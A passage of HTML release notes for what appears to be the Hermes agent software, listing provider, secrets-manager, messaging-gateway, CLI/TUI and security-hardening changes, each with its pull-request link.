<li><strong>May 15 model retirement detection + <code>hermes migrate xai</code></strong> for grok-4 / grok-3 / grok-code-fast-1 / grok-imagine-image-pro. (<a href="https://github.com/NousResearch/hermes-agent/pull/29277" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29277/hovercard">#29277</a>)</li>
<li><strong>Opt-in <code>auto_speech_tags</code></strong> for natural xAI TTS voice replies. (<a href="https://github.com/NousResearch/hermes-agent/pull/29376" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29376/hovercard">#29376</a>)</li>
<li><strong>xai-oauth base_url pinned to x.ai origin</strong> — closes silent credential-leak vector. (<a href="https://github.com/NousResearch/hermes-agent/pull/28952" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28952/hovercard">#28952</a>)</li>
<li><strong>OpenAI-style execution guidance</strong> applied to Grok / xai-oauth models. (<a href="https://github.com/NousResearch/hermes-agent/pull/27797" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27797/hovercard">#27797</a>)</li>
<li>xAI: detect retired May 15 models in doctor/chat startup. (<a href="https://github.com/NousResearch/hermes-agent/pull/29277" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29277/hovercard">#29277</a>)</li>
<li>xAI: resolve Grok Build context for OAuth. (<a href="https://github.com/NousResearch/hermes-agent/pull/30579" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30579/hovercard">#30579</a>)</li>
<li>xAI OAuth: tier-gated 403 with API-key fallback. (<a href="https://github.com/NousResearch/hermes-agent/pull/28351" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28351/hovercard">#28351</a>)</li>
<li>xAI OAuth: PKCE <code>code_challenge</code> echo. (<a href="https://github.com/NousResearch/hermes-agent/pull/27560" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27560/hovercard">#27560</a>)</li>
<li>xAI OAuth: quarantine dead tokens on terminal refresh failure. (<a href="https://github.com/NousResearch/hermes-agent/pull/28116" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28116/hovercard">#28116</a>)</li>
<li>xAI OAuth: honor <code>WKE=unauthenticated</code> disambiguator at both classifier sites. (<a href="https://github.com/NousResearch/hermes-agent/pull/30872" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30872/hovercard">#30872</a>)</li>
<li>xAI OAuth: accept bare-code manual paste (state=None). (closes <a href="https://github.com/NousResearch/hermes-agent/issues/26923" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/26923/hovercard">#26923</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33880" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33880/hovercard">#33880</a>)</li>
<li>xAI OAuth: fall back to manual paste on loopback timeout. (<a href="https://github.com/NousResearch/hermes-agent/pull/33231" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33231/hovercard">#33231</a>)</li>
<li>xAI proxy: handle 429 rate-limit responses in proxy retry path. (<a href="https://github.com/NousResearch/hermes-agent/pull/33743" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33743/hovercard">#33743</a>)</li>
</ul>
<h3>Other providers</h3>
<ul>
<li><strong>OpenAI API as a first-class provider</strong> (distinct from Codex runtime). (<a href="https://github.com/NousResearch/hermes-agent/pull/31898" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31898/hovercard">#31898</a>)</li>
<li><strong>Microsoft Entra ID</strong> auth for Azure Foundry (with 1M Anthropic-Messages beta preserved on Bearer). (salvages <a href="https://github.com/NousResearch/hermes-agent/pull/27509" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27509/hovercard">#27509</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/27022" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27022/hovercard">#27022</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/28101" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28101/hovercard">#28101</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28084" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28084/hovercard">#28084</a>)</li>
<li><strong>OpenRouter</strong> sticky routing — <code>session_id</code> passed via <code>extra_body</code> so a long-running session keeps landing on the same upstream provider. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Cybourgeoisie/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Cybourgeoisie">@Cybourgeoisie</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33939" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33939/hovercard">#33939</a>)</li>
<li>Nous: JWT token for inference; stop replaying invalid Nous refresh tokens. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rewbs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rewbs">@rewbs</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/27663" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27663/hovercard">#27663</a>)</li>
<li>Nous Portal: one-shot setup, status CLI, and Nous-included markers. (<a href="https://github.com/NousResearch/hermes-agent/pull/30860" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30860/hovercard">#30860</a>)</li>
<li>Anthropic adapter: extract 7 helpers from <code>convert_messages_to_anthropic</code>. (salvage <a href="https://github.com/NousResearch/hermes-agent/pull/27784" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27784/hovercard">#27784</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/30386" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30386/hovercard">#30386</a>)</li>
<li>Catalog: add <code>qwen3.7-max</code> to Alibaba + Alibaba-Coding-Plan model lists. (<a href="https://github.com/NousResearch/hermes-agent/pull/33129" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33129/hovercard">#33129</a>)</li>
<li>opencode-go: route <code>qwen3.7-max</code> via <code>anthropic_messages</code>. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/beardthelion/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/beardthelion">@beardthelion</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/32780" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32780/hovercard">#32780</a>)</li>
<li>opencode-go: expose Kimi K2 + DeepSeek reasoning controls. (<a href="https://github.com/NousResearch/hermes-agent/pull/30845" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30845/hovercard">#30845</a>)</li>
<li>Remove Vercel AI Gateway and Vercel Sandbox.</li>
<li>MiniMax OAuth: refresh short-lived access tokens per request. (<a href="https://github.com/NousResearch/hermes-agent/pull/30619" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30619/hovercard">#30619</a>)</li>
<li>Codex OAuth: quarantine terminal refresh errors. (<a href="https://github.com/NousResearch/hermes-agent/pull/28118" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28118/hovercard">#28118</a>)</li>
<li>Codex: drop dead model slugs that HTTP 400 on ChatGPT Pro. (<a href="https://github.com/NousResearch/hermes-agent/pull/33424" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33424/hovercard">#33424</a>)</li>
<li>Codex: sync <code>manual:device_code</code> pool entries on re-auth. (<a href="https://github.com/NousResearch/hermes-agent/pull/33744" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33744/hovercard">#33744</a>)</li>
<li>MiniMax OAuth: quarantine terminal refresh errors. (<a href="https://github.com/NousResearch/hermes-agent/pull/28119" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28119/hovercard">#28119</a>)</li>
</ul>
<hr>
<h2>🔑 Secrets</h2>
<ul>
<li><strong>Bitwarden Secrets Manager</strong> integration with lazy <code>bws</code> install. (<a href="https://github.com/NousResearch/hermes-agent/pull/30035" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30035/hovercard">#30035</a>)</li>
<li>Bitwarden: EU Cloud + self-hosted server URL support. (<a href="https://github.com/NousResearch/hermes-agent/pull/31378" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31378/hovercard">#31378</a>)</li>
<li>Label detected credentials with their source (Bitwarden). (<a href="https://github.com/NousResearch/hermes-agent/pull/30364" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30364/hovercard">#30364</a>)</li>
</ul>
<hr>
<h2>📱 Messaging Platforms (Gateway)</h2>
<h3>Gateway core</h3>
<ul>
<li><strong>Deliverable mode</strong> — agents ship artifacts as native uploads from any platform (Slack/Discord/Telegram/Teams/Email). (<a href="https://github.com/NousResearch/hermes-agent/pull/27813" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27813/hovercard">#27813</a>)</li>
<li><code>hermes send</code> — pipe any script's output to any messaging platform. (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/19631" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/19631/hovercard">#19631</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/27188" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27188/hovercard">#27188</a>)</li>
<li>Debounce queued text follow-ups during active sessions. (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/31235" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31235/hovercard">#31235</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/31341" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31341/hovercard">#31341</a>)</li>
<li>Plugin-transformed final_response delivered through streaming gate. (<a href="https://github.com/NousResearch/hermes-agent/pull/31433" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31433/hovercard">#31433</a>)</li>
<li>Refresh cached agent tools on <code>/reload-mcp</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/32815" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32815/hovercard">#32815</a>)</li>
<li>Harden kanban + provider cleanup races on long-running workloads. (<a href="https://github.com/NousResearch/hermes-agent/pull/29479" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29479/hovercard">#29479</a>)</li>
</ul>
<h3>New / reorganized adapters</h3>
<ul>
<li><strong>ntfy</strong> — 23rd platform, push notifications, plugin shape, zero core edits. (salvages <a href="https://github.com/NousResearch/hermes-agent/pull/30625" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30625/hovercard">#30625</a> → <a href="https://github.com/NousResearch/hermes-agent/pull/4043" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/4043/hovercard">#4043</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/30867" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30867/hovercard">#30867</a>)</li>
<li><strong>Discord</strong> adapter migrated to bundled plugin. (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/24356" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24356/hovercard">#24356</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/30591" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30591/hovercard">#30591</a>)</li>
<li><strong>Mattermost</strong> adapter migrated to bundled plugin. (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/30916" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30916/hovercard">#30916</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/31748" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31748/hovercard">#31748</a>)</li>
</ul>
<h3>Telegram</h3>
<ul>
<li>Edit status messages in place instead of appending. (based on <a href="https://github.com/NousResearch/hermes-agent/pull/30141" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30141/hovercard">#30141</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/qike-ms/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/qike-ms">@qike-ms</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/30864" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30864/hovercard">#30864</a>)</li>
<li>Skip-STT audio path + 2GB cap via local Bot API server. (<a href="https://github.com/NousResearch/hermes-agent/pull/28541" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28541/hovercard">#28541</a>)</li>
<li>Route image documents (.png/.jpg/.webp/.gif) through vision pipeline. (<a href="https://github.com/NousResearch/hermes-agent/pull/28519" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28519/hovercard">#28519</a>)</li>
<li>Route audio file attachments away from STT pipeline. (<a href="https://github.com/NousResearch/hermes-agent/pull/28478" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28478/hovercard">#28478</a>)</li>
<li><code>disable_topic_auto_rename</code> gateway flag. (<a href="https://github.com/NousResearch/hermes-agent/pull/28523" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28523/hovercard">#28523</a>)</li>
<li><code>ignore_root_dm</code> config to drop messages without thread_id. (<a href="https://github.com/NousResearch/hermes-agent/pull/28536" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28536/hovercard">#28536</a>)</li>
<li>Chat-scoped auth without sender user_id. (<a href="https://github.com/NousResearch/hermes-agent/pull/28525" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28525/hovercard">#28525</a>)</li>
<li>Fail-closed auth fallback when <code>TELEGRAM_ALLOWED_USERS</code> is empty. (<a href="https://github.com/NousResearch/hermes-agent/pull/28494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28494/hovercard">#28494</a>)</li>
<li>Roll over tool progress bubbles + scope audio_file_paths. (<a href="https://github.com/NousResearch/hermes-agent/pull/28482" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28482/hovercard">#28482</a>)</li>
<li>Avoid duplicate text after auto-TTS voice replies. (<a href="https://github.com/NousResearch/hermes-agent/pull/28509" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28509/hovercard">#28509</a>)</li>
<li>Mark final voice reply notify-worthy so Telegram delivers it audibly. (<a href="https://github.com/NousResearch/hermes-agent/pull/28504" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28504/hovercard">#28504</a>)</li>
</ul>
<h3>Discord</h3>
<ul>
<li>Recover Windows voice opus decoding. (<a href="https://github.com/NousResearch/hermes-agent/pull/33182" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33182/hovercard">#33182</a>)</li>
<li><code>allow_any_attachment</code> config to accept arbitrary file types. (<a href="https://github.com/NousResearch/hermes-agent/pull/27245" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27245/hovercard">#27245</a>)</li>
<li>Transcribe native voice notes. (<a href="https://github.com/NousResearch/hermes-agent/pull/28993" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28993/hovercard">#28993</a>)</li>
<li>Define UI view classes after lazy install. (<a href="https://github.com/NousResearch/hermes-agent/pull/28817" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28817/hovercard">#28817</a>)</li>
</ul>
<h3>Signal / Matrix / Feishu / Slack / WeCom</h3>
<ul>
<li>Signal: <code>require_mention</code> filter for group chats. (<a href="https://github.com/NousResearch/hermes-agent/pull/28574" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28574/hovercard">#28574</a>)</li>
<li>Matrix: warn on clock-skew silent message drops. (<a href="https://github.com/NousResearch/hermes-agent/pull/27330" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27330/hovercard">#27330</a>)</li>
<li>Matrix E2EE installs full dep set; plugins respect <code>is_connected</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/31688" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31688/hovercard">#31688</a>)</li>
<li>Feishu: require webhook auth secret + honor config extras. (<a href="https://github.com/NousResearch/hermes-agent/pull/30746" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30746/hovercard">#30746</a>)</li>
<li>Feishu: enforce auth and chat binding for approval buttons. (<a href="https://github.com/NousResearch/hermes-agent/pull/30744" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30744/hovercard">#30744</a>)</li>
<li>Slack: socket recovery + Windows restart dedupe. (<a href="https://github.com/NousResearch/hermes-agent/pull/28873" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28873/hovercard">#28873</a>)</li>
<li>WeCom: safe-parse untrusted XML. (<a href="https://github.com/NousResearch/hermes-agent/pull/32442" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32442/hovercard">#32442</a>)</li>
</ul>
<h3>DingTalk / Webhooks / Microsoft Graph</h3>
<ul>
<li>DingTalk: transcribe native voice notes. (<a href="https://github.com/NousResearch/hermes-agent/pull/28993" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28993/hovercard">#28993</a>)</li>
<li>Webhook: enforce <code>INSECURE_NO_AUTH</code> safety rail on dynamic route reloads. (<a href="https://github.com/NousResearch/hermes-agent/pull/30863" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30863/hovercard">#30863</a>)</li>
<li>Webhook: restrict default toolset capabilities. (<a href="https://github.com/NousResearch/hermes-agent/pull/30745" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30745/hovercard">#30745</a>)</li>
<li>Microsoft Graph: harden webhook auth requirements. (<a href="https://github.com/NousResearch/hermes-agent/pull/30169" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30169/hovercard">#30169</a>)</li>
</ul>
<hr>
<h2>🖥️ CLI &amp; TUI</h2>
<h3>CLI</h3>
<ul>
<li><code>/update</code> slash command in CLI and TUI. (<a href="https://github.com/NousResearch/hermes-agent/pull/23854" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23854/hovercard">#23854</a>)</li>
<li>Update auto-rollback when post-pull syntax check fails. (<a href="https://github.com/NousResearch/hermes-agent/pull/28669" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28669/hovercard">#28669</a>)</li>
<li><code>--branch</code> flag for <code>hermes update</code>. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/29591" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29591/hovercard">#29591</a>)</li>
<li><code>/exit --delete</code> flag to remove session on quit. (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/17665" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17665/hovercard">#17665</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/27101" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27101/hovercard">#27101</a>)</li>
<li><code>▶ N</code> indicator in status bar for running <code>/background</code> tasks. (<a href="https://github.com/NousResearch/hermes-agent/pull/27175" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27175/hovercard">#27175</a>)</li>
<li>Live background terminal-process count in status bar. (<a href="https://github.com/NousResearch/hermes-agent/pull/32061" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32061/hovercard">#32061</a>)</li>
<li>Append session recap to <code>/status</code> output. (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/18587" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/18587/hovercard">#18587</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/27176" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27176/hovercard">#27176</a>)</li>
<li>Configurable paste-collapse thresholds (TUI + CLI). (salvage <a href="https://github.com/NousResearch/hermes-agent/pull/29723" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29723/hovercard">#29723</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/32087" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32087/hovercard">#32087</a>)</li>
<li><code>/resume</code> accepts position numbers. (<a href="https://github.com/NousResearch/hermes-agent/pull/31709" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31709/hovercard">#31709</a>)</li>
<li>Bring tool-call display back — verbose mode, specific failure reasons, todo progress. (<a href="https://github.com/NousResearch/hermes-agent/pull/31293" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31293/hovercard">#31293</a>)</li>
<li>Validate runtime token refresh in Qwen auth status. (<a href="https://github.com/NousResearch/hermes-agent/pull/31196" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31196/hovercard">#31196</a>)</li>
</ul>
<h3>TUI</h3>
<ul>
<li><strong>TUI session orchestrator</strong> — multiple live sessions in one TUI window. (salvages <a href="https://github.com/NousResearch/hermes-agent/pull/27642" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27642/hovercard">#27642</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/32980" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32980/hovercard">#32980</a>)</li>
<li><code>mouse_tracking</code> DEC mode presets. (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/26681" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26681/hovercard">#26681</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/30084" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30084/hovercard">#30084</a>)</li>
<li>Termux scrollback preservation + touch-friendly defaults. (<a href="https://github.com/NousResearch/hermes-agent/pull/28910" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28910/hovercard">#28910</a>)</li>
<li>Full assistant text in scrollback (no history truncation). (<a href="https://github.com/NousResearch/hermes-agent/pull/28829" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28829/hovercard">#28829</a>)</li>
<li>Preserve scrollback when branching sessions. (<a href="https://github.com/NousResearch/hermes-agent/pull/30162" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30162/hovercard">#30162</a>)</li>
<li>Preserve Python dunder identifiers in markdown. (<a href="https://github.com/NousResearch/hermes-agent/pull/28582" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28582/hovercard">#28582</a>)</li>
<li>Active profile shown in TUI prompt. (<a href="https://github.com/NousResearch/hermes-agent/pull/28581" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28581/hovercard">#28581</a>)</li>
<li>Improve Charizard completion menu contrast. (<a href="https://github.com/NousResearch/hermes-agent/pull/28346" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28346/hovercard">#28346</a>)</li>
<li>Stop slash dropdown chopping last char of <code>/goal</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/31311" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31311/hovercard">#31311</a>)</li>
<li>Clipboard copy on linux/wayland. (<a href="https://github.com/NousResearch/hermes-agent/pull/29342" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29342/hovercard">#29342</a>)</li>
<li>Anchor <code>splitReasoning</code> unclosed-tag regex; stop eating last paragraph. (<a href="https://github.com/NousResearch/hermes-agent/pull/29426" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29426/hovercard">#29426</a>)</li>
<li>Surface verbose tool details. (<a href="https://github.com/NousResearch/hermes-agent/pull/30225" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30225/hovercard">#30225</a>)</li>
<li>Load Linux skills on Termux + salvage <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/adybag14-cyber/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/adybag14-cyber">@adybag14-cyber</a>'s Termux gates. (<a href="https://github.com/NousResearch/hermes-agent/pull/30166" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30166/hovercard">#30166</a>)</li>
<li>Handle images with codex app-server. (<a href="https://github.com/NousResearch/hermes-agent/pull/31220" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31220/hovercard">#31220</a>)</li>
<li>Refresh virtual transcript on viewport resize. (<a href="https://github.com/NousResearch/hermes-agent/pull/31077" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31077/hovercard">#31077</a>)</li>
<li>Ignore late thinking deltas after completion. (<a href="https://github.com/NousResearch/hermes-agent/pull/31055" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31055/hovercard">#31055</a>)</li>
<li>Commit composer input bursts immediately. (<a href="https://github.com/NousResearch/hermes-agent/pull/31053" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31053/hovercard">#31053</a>)</li>
<li>Log parent gateway lifecycle exits. (<a href="https://github.com/NousResearch/hermes-agent/pull/31051" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31051/hovercard">#31051</a>)</li>
<li>Clear TTS env var on voice off + TTS indicator in status bar. (<a href="https://github.com/NousResearch/hermes-agent/pull/30987" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30987/hovercard">#30987</a>)</li>
<li>Pass <code>--expose-gc</code> as node argv instead of NODE_OPTIONS. (<a href="https://github.com/NousResearch/hermes-agent/pull/29998" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29998/hovercard">#29998</a>)</li>
<li>Align composer cursorLayout with wrap-ansi to kill multiline cursor drift. (<a href="https://github.com/NousResearch/hermes-agent/pull/27489" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27489/hovercard">#27489</a>)</li>
<li>Harden Terminal.app rendering and color paths. (<a href="https://github.com/NousResearch/hermes-agent/pull/27251" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27251/hovercard">#27251</a>)</li>
<li>Keep <code>/goal</code> verdict out of compact status row. (<a href="https://github.com/NousResearch/hermes-agent/pull/27971" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27971/hovercard">#27971</a>)</li>
<li>Clamp curses color 8 for 8-color terminals (Docker). (<a href="https://github.com/NousResearch/hermes-agent/pull/30260" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30260/hovercard">#30260</a>)</li>
</ul>
<hr>
<h2>🔒 Security &amp; Reliability</h2>
<h3>Promptware &amp; memory hardening</h3>
<ul>
<li><strong>Promptware defense</strong> — shared threat patterns + memory load-time scan + tool-result delimiters. (<a href="https://github.com/NousResearch/hermes-agent/pull/32269" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32269/hovercard">#32269</a>)</li>
<li>Expand memory content scanning patterns to parity with skills guard. (<a href="https://github.com/NousResearch/hermes-agent/pull/9151" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/9151/hovercard">#9151</a>)</li>
<li>Harden Skills Guard multi-word prompt patterns. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/YLChen-007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/YLChen-007">@YLChen-007</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/26852" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26852/hovercard">#26852</a>)</li>
<li>Split cron scanner so skill prose stops false-positiving exfil patterns. (<a href="https://github.com/NousResearch/hermes-agent/pull/32339" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32339/hovercard">#32339</a>)</li>
</ul>
<h3>File safety</h3>
<ul>
